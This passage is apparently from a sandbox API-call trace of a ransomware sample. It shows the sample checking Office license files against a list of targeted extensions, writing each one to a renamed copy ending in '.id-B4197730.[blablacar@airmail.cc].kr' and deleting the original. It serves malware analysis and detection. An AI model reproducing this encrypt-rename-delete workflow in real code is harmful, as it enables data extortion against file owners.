Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.760] lstrlenW (lpString=".jpg") returned 4 [0193.760] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.760] lstrlenW (lpString=".doc") returned 4 [0193.760] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString=".docx") returned 5 [0193.760] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.760] lstrlenW (lpString=".pdf") returned 4 [0193.760] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.760] lstrlenW (lpString=".xls") returned 4 [0193.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.761] lstrlenW (lpString=".xlsx") returned 5 [0193.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.761] lstrlenW (lpString=".ppt") returned 4 [0193.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.761] lstrlenW (lpString=".zip") returned 4 [0193.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.761] lstrlenW (lpString=".rar") returned 4 [0193.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.761] lstrlenW (lpString=".bz2") returned 4 [0193.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.761] lstrlenW (lpString=".7z") returned 3 [0193.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.761] lstrlenW (lpString=".dbf") returned 4 [0193.761] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.761] lstrlenW (lpString=".1cd") returned 4 [0193.761] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0193.761] lstrlenW (lpString=".jpg") returned 4 [0193.761] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.761] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0193.761] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0193.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0193.935] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11609) returned 1 [0193.935] CloseHandle (hObject=0x38c) returned 1 [0193.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0194.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0194.797] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.797] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.996] GetLastError () returned 0x0 [0194.996] ReadFile (in: hFile=0x36c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d59, lpOverlapped=0x0) returned 1 [0195.094] WriteFile (in: hFile=0x4d8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0195.096] ReadFile (in: hFile=0x36c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.096] WriteFile (in: hFile=0x4d8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x114, lpOverlapped=0x0) returned 1 [0195.096] SetEndOfFile (hFile=0x4d8) returned 1 [0195.096] CloseHandle (hObject=0x4d8) returned 1 [0195.096] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.096] SetEndOfFile (hFile=0x36c) returned 1 [0195.099] CloseHandle (hObject=0x36c) returned 1 [0195.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0195.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.101] lstrlenW (lpString=".doc") returned 4 [0195.101] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString=".docx") returned 5 [0195.101] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.101] lstrlenW (lpString=".pdf") returned 4 [0195.101] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString=".xls") returned 4 [0195.101] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString=".xlsx") returned 5 [0195.101] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.101] lstrlenW (lpString=".ppt") returned 4 [0195.101] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.101] lstrlenW (lpString=".zip") returned 4 [0195.101] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString=".rar") returned 4 [0195.101] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString=".bz2") returned 4 [0195.101] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString=".7z") returned 3 [0195.101] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.101] lstrlenW (lpString=".dbf") returned 4 [0195.101] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.102] lstrlenW (lpString=".1cd") returned 4 [0195.102] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.102] lstrlenW (lpString=".jpg") returned 4 [0195.102] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.102] lstrlenW (lpString=".doc") returned 4 [0195.102] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.102] lstrlenW (lpString=".docx") returned 5 [0195.102] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.102] lstrlenW (lpString=".pdf") returned 4 [0195.102] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.102] lstrlenW (lpString=".xls") returned 4 [0195.102] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.102] lstrlenW (lpString=".xlsx") returned 5 [0195.102] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.102] lstrlenW (lpString=".ppt") returned 4 [0195.102] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.102] lstrlenW (lpString=".zip") returned 4 [0195.102] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.102] lstrlenW (lpString=".rar") returned 4 [0195.103] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.103] lstrlenW (lpString=".bz2") returned 4 [0195.103] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.103] lstrlenW (lpString=".7z") returned 3 [0195.103] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.103] lstrlenW (lpString=".dbf") returned 4 [0195.103] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.103] lstrlenW (lpString=".1cd") returned 4 [0195.103] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0195.103] lstrlenW (lpString=".jpg") returned 4 [0195.103] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.103] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.103] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40 [0195.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.104] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11637) returned 1 [0195.104] CloseHandle (hObject=0x36c) returned 1 [0195.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0195.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.105] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.105] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0195.106] GetLastError () returned 0x0 [0195.106] ReadFile (in: hFile=0x36c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d75, lpOverlapped=0x0) returned 1 [0195.115] WriteFile (in: hFile=0x4d8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d80, lpOverlapped=0x0) returned 1 [0195.116] ReadFile (in: hFile=0x36c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.116] WriteFile (in: hFile=0x4d8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x124, lpOverlapped=0x0) returned 1 [0195.116] SetEndOfFile (hFile=0x4d8) returned 1 [0195.133] CloseHandle (hObject=0x4d8) returned 1 [0195.133] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.133] SetEndOfFile (hFile=0x36c) returned 1 [0195.138] CloseHandle (hObject=0x36c) returned 1 [0195.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0195.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.275] lstrlenW (lpString=".doc") returned 4 [0195.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.275] lstrlenW (lpString=".docx") returned 5 [0195.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.275] lstrlenW (lpString=".pdf") returned 4 [0195.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.275] lstrlenW (lpString=".xls") returned 4 [0195.275] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.275] lstrlenW (lpString=".xlsx") returned 5 [0195.275] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.275] lstrlenW (lpString=".ppt") returned 4 [0195.275] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.276] lstrlenW (lpString=".zip") returned 4 [0195.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".rar") returned 4 [0195.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".bz2") returned 4 [0195.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString=".7z") returned 3 [0195.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.276] lstrlenW (lpString=".dbf") returned 4 [0195.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.276] lstrlenW (lpString=".1cd") returned 4 [0195.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.276] lstrlenW (lpString=".jpg") returned 4 [0195.276] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.285] lstrlenW (lpString=".doc") returned 4 [0195.285] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.285] lstrlenW (lpString=".docx") returned 5 [0195.285] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.285] lstrlenW (lpString=".pdf") returned 4 [0195.285] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.285] lstrlenW (lpString=".xls") returned 4 [0195.285] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.285] lstrlenW (lpString=".xlsx") returned 5 [0195.285] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.285] lstrlenW (lpString=".ppt") returned 4 [0195.285] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.285] lstrlenW (lpString=".zip") returned 4 [0195.286] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.286] lstrlenW (lpString=".rar") returned 4 [0195.286] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.286] lstrlenW (lpString=".bz2") returned 4 [0195.286] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.286] lstrlenW (lpString=".7z") returned 3 [0195.286] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.286] lstrlenW (lpString=".dbf") returned 4 [0195.286] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.286] lstrlenW (lpString=".1cd") returned 4 [0195.286] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0195.286] lstrlenW (lpString=".jpg") returned 4 [0195.286] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.286] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.286] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40 [0195.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0195.287] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19982) returned 1 [0195.287] CloseHandle (hObject=0x53c) returned 1 [0195.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0195.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0195.288] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.288] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.289] GetLastError () returned 0x0 [0195.289] ReadFile (in: hFile=0x53c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0195.293] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4e10, lpOverlapped=0x0) returned 1 [0195.294] ReadFile (in: hFile=0x53c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.294] WriteFile (in: hFile=0x520, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x124, lpOverlapped=0x0) returned 1 [0195.295] SetEndOfFile (hFile=0x520) returned 1 [0195.295] CloseHandle (hObject=0x520) returned 1 [0195.295] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.295] SetEndOfFile (hFile=0x53c) returned 1 [0195.310] CloseHandle (hObject=0x53c) returned 1 [0195.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0195.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0195.864] lstrlenW (lpString=".doc") returned 4 [0195.864] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString=".docx") returned 5 [0195.878] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.878] lstrlenW (lpString=".pdf") returned 4 [0195.878] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString=".xls") returned 4 [0195.878] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.878] lstrlenW (lpString=".xlsx") returned 5 [0195.878] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.878] 